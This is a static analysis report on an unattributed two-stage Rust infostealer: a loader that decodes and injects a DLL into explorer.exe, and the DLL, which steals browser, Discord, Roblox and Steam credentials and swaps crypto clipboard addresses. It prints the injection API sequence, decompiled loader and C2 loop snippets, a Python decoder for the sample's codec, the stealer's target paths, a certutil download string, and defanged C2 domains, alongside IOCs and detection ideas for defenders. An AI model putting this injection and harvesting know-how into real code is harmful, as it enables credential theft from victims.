0. Preface

This sample arrived with no family label — just a SHA-256 for a filename and a .exe extension. It turned out to be a two-stage Rust implant: a loader that carries an encoded, headerless DLL, maps it, and injects it into explorer.exe; and the DLL itself, a broad-spectrum infostealer covering Chromium and Gecko browsers, Discord, Roblox, Steam, and cryptocurrency clipboard addresses.

Everything below is static analysis. The sample was never executed, no VM was detonated, and none of the recovered domains were contacted. Decompilation was done with kuna under rustabi auto; the payload and both stages’ string tables were recovered with a short Python reimplementation of the sample’s own codec (§4.1).

The whole analysis turns on one observation: the payload and every string in both stages are protected by the same codec — a keyed custom-alphabet Base64 followed by a small LZ decompressor. Crack it once and the loader, the DLL, and 618 encrypted strings all fall out together. The C2 domains are the one exception: they sit under a separate single-byte XOR layer, recovered in §5.4.

On family attribution: none is claimed. The behaviour is generic commodity-stealer, there is no self-identifying string, and the recovered infrastructure doesn’t match anything I could attribute with confidence. It is also not related to the RustyStealer sample covered earlier: that one is UPX-packed, exfiltrates over a Telegram bot, and protects its C2 with AES-256-GCM. The two share a language and a target list, and nothing structural.

1. The Threat at a Glance

AttributeAssessment
Malware typeRust loader/injector → in-memory Rust infostealer DLL
FamilyUnattributed
Stage 1PE32+ x64 GUI, Rust (MSVC toolchain), 1,017,344 bytes
Stage 2PE32+ x64 DLL, Rust, 544,768 bytes once reassembled; export DllMain; never touches disk
InjectionRemote-thread injection into the Shell_TrayWnd owner (explorer.exe): OpenProcess → VirtualAllocEx(RWX) → WriteProcessMemory → CreateRemoteThread
C2kertc1[.]website, konradkertc3[.]website, konradkertc2[.]website — HTTPS POST / on 443 via WinHTTP
TargetsChromium (incl. App-Bound key material) and Gecko browsers, Discord tokens, Roblox .ROBLOSECURITY, Steam, BTC/LTC/BCH clipboard addresses
EvasionKeyed Base64+LZ codec over payload and all strings; API hashing; decoy dictionary/compiler strings padding .rdata; junk GUI API calls; opaque predicates; hypervisor-vendor checks; locale/keyboard-layout queries
PersistenceNone identified in either stage
ConfidenceHigh for the codec, payload reassembly, injection sequence, and C2 table (all byte-exact, reproduced offline). Medium for stealer capabilities (from decrypted strings and imports, not traced code paths)

2. Infection Chain Overview

Infection chain: a 1 MB Rust loader whose .rdata is a 532,837-byte printable pool padded with dictionary words, compiler diagnostics and fake paths; a keyed custom-alphabet Base64 followed by an LZ decompressor recovers the payload and all 618 strings; the payload is a headerless DLL whose 1 KB header has its MZ and PE signatures zeroed, re-written by the loader in a 0x8a000-byte image buffer and relocated with a loader-supplied list of 918 fixups; the loader finds Shell_TrayWnd, opens explorer.exe with full access and writes the image, a 0x400-byte parameter block and a start-up stub into one RWX region, then starts a remote thread at offset 0x8a400; inside explorer the Rust stealer DLL targets Chromium and Gecko browsers, Discord tokens, Roblox, Steam and cryptocurrency clipboard addresses; it POSTs over HTTPS to three single-byte-XOR-encoded hosts, kertc1[.]website, konradkertc3[.]website and konradkertc2[.]website

StageFileSHA-256Role
15ac77171….exe5ac77171a926553077fc244c88cce1ec5a4d779e538f573986a9c3a9a683c67fDecodes, maps, relocates and injects stage 2 into explorer.exe
2payload.dll (reassembled)06d2372ae6938f79b8480e19f69a9d280b9357a5e9e011dac85e463750981011Infostealer; collects and POSTs to one of three C2s

Delivery is unknown — the sample arrived standalone.

3. Triage: Rust Behind an MSVC Fingerprint

diec reports only Microsoft Visual C/C++(16.00) with a CodeView record — true of the linker, misleading about the language. Three independent markers put it in Rust:

  • the import set — NtReadFile / NtWriteFile from ntdll, WaitOnAddress / WakeByAddress*, GetFileInformationByHandleEx, SetFileInformationByHandle — is the Rust std Windows backend’s signature;
  • OS Error and " (FormatMessageW() returned error " are verbatim from std::sys::pal::windows::os::error_string;
  • the 200-byte 000102…9899 table is core::fmt’s DEC_DIGITS_LUT.

There are no /rustc/<hash>/ paths and no src/… panic locations, so the build is panic = "abort" with location data stripped. The usual Rust navigation aid — xref the panic strings — is gone. The PDB names are skefle.pdb (stage 1) and build.pdb (stage 2).

Prologues are LLVM-shaped (push r15; push r14; push r13; push r12; push rsi; push rdi; push rbp; push rbx → AWAVAUATVWUSH in strings), which is what first suggested something other than MSVC C++ was underneath.

4. Stage 1 — The Loader

4.0 A .rdata built to waste your time

Stage 1’s sections are unremarkable at a glance — no packer, .text entropy 6.5 — but .rdata is 590 KB against 128 KB of code, and almost all of it is a single 532,837-byte printable run (file offset 0x233b0–0xa5515). Its byte distribution is heavily skewed (N and l dominate, lll… runs recur), and it is interleaved with three kinds of decoy:

  • dictionary-word salad — congenitallybrawniest, obelisksinstigated, departingtorturous, right came over can went first and here how them;
  • compiler/library diagnostic text — RTCDataChannel cannot have traits specified, ShaderRecordBufferKHR Storage Class operand, extraneous template parameter type %0to function expecting type;
  • fake filesystem paths — C:\Program Files (x86)\Wireshark\bluiessiirg.pdf, C:\ProgramData\LLVM\synongsels.pdf, C:\Program Files (x86)\NVIDIA Corporation\smiucyiaorth.cfg.

None of the decoys are referenced as plaintext. The printable run is not one payload either: it is a pool — the payload plus every encrypted string, each addressed as a (pointer, length) slice into it. The same style of junk appears in the code: scattered calls to GetSysColor, GetSystemMetrics, GetCaretBlinkTime, GetLogicalDrives and GetOEMCP whose results feed only dead globals, and opaque predicates built from TEB/PEB reads (gs:[0x58] → TLS slot → field) that guard ud2 traps.

4.1 The codec

Exactly one instruction references the start of the pool — lea r8, [0x1400247b0] in sub_140007168, the loader’s 12 KB main routine — and the call that matters there is:

sub_1400021b8(&body, 0x140024913, 0x81fd1, 200);   // payload body
sub_1400021b8(&hdr,  "SSTSStxS&pM…",  0x1d2, 0xcb); // payload headers

sub_1400021b8 is the codec. Stripped of opaque predicates it is two stages.

Stage A — keyed custom Base64. A 64-character alphabet sits in .rdata (itself disguised as another junk string):

UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJ

The reverse table is built as rev[alpha[i]] = (i - key) & 0x3f, so the key byte rotates the alphabet and only its low six bits matter. Decoding is a standard 6-bit accumulator.

Stage B — LZ decompression. The Base64 output starts with a little-endian u32 decompressed size, followed by groups of one flag byte and eight tokens, flags read MSB-first: a 1 bit is a literal byte; a 0 bit is a two-byte little-endian word w encoding a back-reference of distance (w >> 5) + 1 and length (w & 0x1f) + 4.

Several of these constants are hidden behind opaque arithmetic in the decompilation (the step size, the length mask). The values above are the ones that make the declared size match the output length exactly for every blob — which is a strong check, since a wrong constant desynchronises the token stream within a few bytes.

ALPHA = b"UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJ"

def b64(src, key):
    t = {c: (i - key) & 0x3f for i, c in enumerate(ALPHA)}
    acc = bits = 0; out = bytearray()
    for c in src:
        acc = (acc << 6) | t[c]; bits += 6
        if bits >= 8:
            bits -= 8; out.append((acc >> bits) & 0xff); acc &= (1 << bits) - 1
    return bytes(out)

def lz(b):
    n = int.from_bytes(b[:4], "little"); i = 4; out = bytearray()
    while len(out) < n:
        flags = b[i]; i += 1
        for bit in range(7, -1, -1):
            if len(out) >= n: break
            if flags >> bit & 1:
                out.append(b[i]); i += 1
            else:
                w = b[i] | b[i+1] << 8; i += 2
                for _ in range((w & 0x1f) + 4): out.append(out[-((w >> 5) + 1)])
    return bytes(out)
BlobEncodedAfter Base64Declared / produced
Payload body (0x140024913, key 200)532,433 chars399,324 B543,744 / 543,744
Payload headers (key 0xcb)466 chars349 B1,024 / 1,024

4.2 Reassembling the payload

The body begins with real x64 code (56 48 83 ec 20 48 89 ce … — push rsi; sub rsp,20h; mov rsi,rcx), so it is raw section data with no headers. The header blob is a complete 1 KB PE header — e_lfanew = 0x40, eight sections, Characteristics = 0x2022 (DLL) — with both signatures zeroed. The loader puts them back by hand after copying the header into a 0x8a000-byte image buffer:

e_lfanew = *(uint32_t *)&img[0x3c];
img[1] = 'Z';  img[e_lfanew + 1] = 'E';
img[0] = 'M';  img[e_lfanew]     = (char)(dat_1400b1d7c - 0x5f16dc1e);   // 'P'

Section placement comes from the loader’s own table at 0x140021568 — eight 20-byte {VirtualSize, BodyOffset, RVA, RawSize, Characteristics} records — rather than from the header, though the two agree. For a static rebuild, concatenating the header (with MZ/PE restored) and the body produces a valid file directly, because the header’s PointerToRawData values are the body offsets plus 0x400. The result parses cleanly: imports resolve, the .reloc directory is intact, and there is one export, DllMain.

4.3 Strings and API resolution

Every API name, DLL name, and path stage 1 uses is a codec slice, decrypted through a lazily-initialised cache (sub_1400201b6 / sub_1400068de) and passed to a hash-based resolver, sub_14000f958(module_hash, …, export_hash, name). A brute sweep — every .rdata address the code references, all 64 effective keys, accepting only a plausible u32 length, a 0xff-style first flag byte, and printable output — recovers 143 strings, including:

FindWindowA            Shell_TrayWnd           GetWindowThreadProcessId
OpenProcess            VirtualAllocEx          WriteProcessMemory
CreateRemoteThread     OpenProcessToken        GetTokenInformation
DuplicateHandle        GetKeyboardLayoutList   GetUserDefaultLocaleName
GetSystemDefaultLocaleName                     RtlGetVersion
PROCESSOR_ARCHITECTURE COMSPEC                 GetTempPathW
C:\ProgramData\sucking\uiasseausk

The last path follows the same random-word pattern as the plaintext decoys but is genuinely decrypted at runtime; it sits next to CreateMutexW in the string table, and I did not trace what the loader does with it.

4.4 Injection into explorer

After mapping and import resolution, the loader:

  1. finds the taskbar with FindWindowA("Shell_TrayWnd") and takes its owning PID with GetWindowThreadProcessId — i.e. it targets explorer.exe;
  2. opens it with OpenProcess(0x1FFFFF /* PROCESS_ALL_ACCESS */, FALSE, pid);
  3. allocates one region with VirtualAllocEx(h, NULL, size, 0x3000 /* MEM_COMMIT|MEM_RESERVE */, 0x40 /* PAGE_EXECUTE_READWRITE */);
  4. relocates the local image copy to the remote base using a loader-supplied fixup list — 918 four-byte RVAs (0xe58 bytes at 0x140022ba4, all inside the payload’s .rdata/.data) — rather than the DLL’s own .reloc;
  5. builds a single contiguous buffer and writes it with one WriteProcessMemory:
remote + 0x00000   relocated image          (0x8a000 bytes)
remote + 0x8a000   parameter block          (0x400 bytes; holds image size
                                             0x8a000 and entry RVA 0x67ac0)
remote + 0x8a400   start-up stub
  1. starts it with CreateRemoteThread(h, NULL, 0, remote + 0x8a400, …).

The thread starts in the stub, not at the DLL entry point; the stub presumably calls the image’s entry (AddressOfEntryPoint = 0x67ac0) using the parameter block. I did not reverse the stub instruction by instruction.

5. Stage 2 — The Stealer DLL

5.1 Same codec, bigger table

Stage 2 is again Rust (identical std import fingerprint), compiled with the same obfuscator — the same junk GUI calls (BeginPaint, FillRect, TextOutW, GetMessagePos …), the same opaque predicates, and the same Base64+LZ string slices with the same alphabet. It has no embedded payload; .text is 429 KB of real code.

The same sweep recovers 475 strings. Extending it to every byte offset of .rdata rather than only referenced addresses adds nothing material except a 4,193-byte pipe-separated browser-extension blocklist (ublock|adblock| sponsorblock|…|mcafee anti|avast bank|…) — extensions the stealer skips when harvesting extension storage.

Notably absent from the codec output: any domain or URL. That is because the C2 list uses a different layer (§5.4).

5.2 What it targets

Grouped from the decrypted strings. These are capabilities present in the binary; I traced the C2 path end to end, but not each collector.

AreaRepresentative strings
ChromiumUser Data, Local State, encrypted_key, app_bound_encrypted_key, Login Data, Login Data For Account, Network\Cookies, Web Data, History, Local Storage\leveldb, \Local Extension Settings, Last Browser, CryptUnprotectData, BCryptDecrypt, ChainingModeGCM
GeckoProfiles, prefs.js, key4.db, logins.json, cookies.sqlite, places.sqlite, formhistory.sqlite, extensions.json, extensions.webextensions.uuids, moz-extension+++, storage\default
Discorddiscord, dQw4w9WgXcQ: (the prefix of Discord’s encrypted-token format), Token: , tokens.txt
Roblox.ROBLOSECURITY, Roblox\LocalStorage, RobloxCookies.dat
SteamSoftware\Valve\Steam, SteamPath, config\config.vdf, Steam\local.vdf, SteamID
ClipboardOpenClipboard, GetClipboardData, SetClipboardData, GetClipboardSequenceNumber, bc1, ltc1, bitcoincash:
ReconGetUserNameW, GetVolumeInformationW, GlobalMemoryStatusEx, EnumDisplayDevicesW, Uninstall keys with DisplayName / DisplayVersion, Keyboard Layout\Preload
ScreenshotGetDC, CreateCompatibleBitmap, GetDIBits
Download & execute/c certutil.exe -urlcache -split -f, msiexec.exe, /qn /norestart, .bat, .cmd, .msi, CreateProcessW, CreateProcessWithTokenW
Process accessCreateToolhelp32Snapshot, ReadProcessMemory, NtQuerySystemInformation, NtQueryObject, DuplicateHandle, SuspendThread / GetThreadContext / SetThreadContext / ResumeThread

app_bound_encrypted_key means it is at least aware of Chrome 127+ App-Bound Encryption; whether it implements a working bypass (as RustyStealer did) is not established here. The handle-duplication and process-read APIs are consistent with stealing locked browser databases from a running browser, but I did not trace that path.

5.3 Anti-VM

A table of hypervisor CPUID vendor signatures, plus display-adapter and firmware-table probes (EnumDisplayDevicesW, GetSystemFirmwareTable, Standard VGA, Basic Display, Virtio):

VMwareVMware  VBoxVBoxVBox  XenVMMXenVMM  KVM  Linux KVM Hv  LKVMLKVMLKVM
 lrpepyh  vr ( prl hyperv  )  TCGTCGTCGTCG  HAXMHAXMHAXM  EVMMEVMMEVMM
bhyve bhyve   ___ NVMM ___  OpenBSDVMM58  Jailhouse  IntelTDX  Apple VZ
NoirVisor ZT  MiniVisor  Barevisor!  UnisysSpar64  SRESRESRESRE
QNXQVMBSQG  Neko Project  ConnectixCPU  Insignia 586  Compaq FX!32

The list is unusually exhaustive — including emulators like Neko Project and Insignia SoftPC that no sandbox runs — which reads as a copied signature list rather than anything tuned to a specific sandbox.

5.4 The C2 table

The HTTP sender, sub_1800149bf, takes the host as a parameter, so the C2 is not a literal at the request site. Following its caller in sub_180041938 (the 21 KB main routine) leads to this loop:

for (e = table; e != table_end; e++) {
    buf = alloc(e->len);
    for (i = 0; i < e->len; i++) buf[i] = e->ptr[i] ^ e->key;
    if (!from_utf8(buf)) continue;
    sub_1800149bf(&resp, buf, …, "/", …, "POST", …);
    …
}

The table sits at 0x180072338, stride 0x18:

struct c2_entry { uint8_t key; uint8_t _pad[7]; const uint8_t *ptr; size_t len; };

kuna rendered the key access as "g"[v98] — the first entry’s key byte is 0x67, ASCII g, which happened to look like a one-character string.

#KeyEncoded atLenDomain
00x670x18006faa014kertc1[.]website
10x7f0x18006c3c320konradkertc3[.]website
20x530x18006d50020konradkertc2[.]website

Note the ordering: 1, 3, 2.

Inside sub_1800149bf the WinHTTP calls are resolved dynamically from winhttp.dll. WinHttpConnect receives port 0x1bb (443) and WinHttpOpenRequest receives flag 0x800000 (WINHTTP_FLAG_SECURE); the method and path decode from codec strings to POST and /. So the transport is HTTPS POST / to each domain in turn. I did not establish whether the loop stops at the first success, or the body format — RtlCompressBuffer / RtlGetCompressionWorkSpaceSize in the string table suggest the upload is compressed with the NT native compressor.

6. A Note on Timestamps

The PE timestamps are internally inconsistent:

ImageTimeDateStamp
Stage 1 (loader)0x6a99a64b → 2026-09-03 16:54:35 UTC
Stage 2 (embedded DLL)0x6abfe4d1 → 2026-10-02 17:07:29 UTC

The loader carries the DLL, so the DLL must have been built first — yet its timestamp is a month later. At least one is not genuine. The likeliest reading is that the loader’s timestamp is forged or reused from a template build and the DLL’s is real (it is a day before the sample was collected), but neither should be used for timelining.

7. Indicators of Compromise

Files

HashValue
Stage 1 SHA-2565ac77171a926553077fc244c88cce1ec5a4d779e538f573986a9c3a9a683c67f
Stage 1 SHA-18d1f6d39e8040a7f656a5a50277192d9e5fb8c2a
Stage 1 MD5f517d3ed8e63d555533a152ed5f3d66b
Stage 2 SHA-25606d2372ae6938f79b8480e19f69a9d280b9357a5e9e011dac85e463750981011
Stage 2 SHA-1b11f46d875f1f6a3b0cbc859cded4096cf01b820
Stage 2 MD5c3c8b5e43a2fcb408af652dee711e4fe

Stage 2 hashes are for the statically reassembled image (header with MZ/PE restored, concatenated with the decoded body). It never exists on disk in this form, and an in-memory dump from a victim will differ (relocated to the remote base, IAT filled), so treat these as research identifiers rather than scanning IOCs.

Network

kertc1[.]website
konradkertc3[.]website
konradkertc2[.]website
HTTPS (443) POST /  via WinHTTP

Host

explorer.exe hosting a private RWX region of ~0x8a000+ bytes with no backing file
C:\ProgramData\sucking\uiasseausk        (decrypted by stage 1; use not traced)
C:\Program Files\truncheons\eokirteiald.cfg  (decrypted by stage 2; use not traced)
PDB names: skefle.pdb (stage 1), build.pdb (stage 2)

Constants for hunting / YARA

ValueUse
UqegC*.NlX@SM'u938&6t|0ks5cTo,$2fJPyDYAxG~>pQEb^j;<Z?)]O(Vmn4-_FJcodec alphabet, both stages
(i - key) & 0x3falphabet rotation
0x8a000stage 1 image buffer size
0x67ac0stage 2 entry RVA, written into the parameter block
0x8a400remote thread start offset
0x67 / 0x7f / 0x53C2 entry XOR keys

8. Detection Opportunities

  • Remote thread into explorer from a non-system binary. CreateRemoteThread targeting explorer.exe, preceded by FindWindowA("Shell_TrayWnd") and OpenProcess(PROCESS_ALL_ACCESS), from an unsigned process in a user directory. This is the highest-fidelity behavioural signal stage 1 offers.
  • Memory scanning. A private, unbacked PAGE_EXECUTE_READWRITE region in explorer.exe of roughly 0x8a000 bytes plus a page, whose start is a PE image and whose thread start address sits 0x8a400 bytes in.
  • explorer.exe making HTTPS POSTs to newly-registered .website domains, or reading browser credential stores (Login Data, key4.db, Local State), Discord leveldb, or Steam config.vdf. Explorer has no legitimate reason to do any of these.
  • Clipboard replacement: explorer.exe calling SetClipboardData right after a clipboard change containing a bc1/ltc1/bitcoincash: address.
  • Static: the codec alphabet is a 64-byte literal in both stages and makes a cheap YARA anchor; combine with the std error string FormatMessageW() returned error to scope to Rust builds.

9. MITRE ATT&CK

TacticTechnique
ExecutionT1106 Native API
Defense EvasionT1027 Obfuscated Files or Information (keyed Base64+LZ codec; decoy strings); T1027.007 Dynamic API Resolution (hash-based resolver); T1140 Deobfuscate/Decode Files or Information; T1055.002 Process Injection: Portable Executable Injection (manual map + remote thread into explorer.exe); T1620 Reflective Code Loading; T1497.001 Virtualization/Sandbox Evasion: System Checks (CPUID vendor, display adapter, firmware table)
DiscoveryT1082 System Information Discovery; T1012 Query Registry (Uninstall keys, Steam); T1614.001 System Location Discovery: System Language Discovery (locale and keyboard-layout queries); T1057 Process Discovery
Credential AccessT1555.003 Credentials from Web Browsers; T1539 Steal Web Session Cookie (browser cookies, .ROBLOSECURITY); T1528 Steal Application Access Token (Discord)
CollectionT1115 Clipboard Data; T1113 Screen Capture; T1005 Data from Local System
ImpactT1565.002 Data Manipulation (clipboard address replacement) (inferred from wallet prefixes + SetClipboardData)
Command and ControlT1071.001 Web Protocols (HTTPS POST); T1105 Ingress Tool Transfer (certutil -urlcache, msiexec /qn) (capability, not observed)
ExfiltrationT1041 Exfiltration Over C2 Channel

10. Confidence and Gaps

Traced and verified: the codec (both stages decode with declared sizes matching output exactly, and 618 strings come out as clean API and path names); payload reassembly (the rebuilt DLL parses with intact imports, relocations, and export); the injection sequence (each API resolved from a decrypted name, with the OpenProcess, VirtualAllocEx, and CreateRemoteThread arguments read from the decompilation); the remote memory layout; the C2 table (three entries, keys and lengths read directly, all three decoding to clean hostnames); and the transport (port 443, WINHTTP_FLAG_SECURE, POST /).

Identified but not exhaustively reversed: the remote start-up stub at +0x8a400; individual stealer collectors (§5.2 is from strings and imports); the anti-VM decision logic; what the locale and keyboard-layout queries gate. Locale checks in commodity stealers usually implement a CIS-country kill-switch, but I did not confirm which locales, if any, cause an exit here.

Still open:

  • Exfiltration format unknown. The HTTP body layout, any envelope encryption, and whether the compressor is actually used were not recovered.
  • C2 behaviour unobserved. Nothing was executed and no domain was contacted, so liveness, server responses, and any tasking (the certutil/msiexec strings imply the server can push files to run) are unknown.
  • Delivery unknown. The sample arrived standalone; how stage 1 reaches a victim isn’t visible in the file.
  • Family unattributed. Nothing in either stage names itself, and I found no infrastructure overlap that would support a label.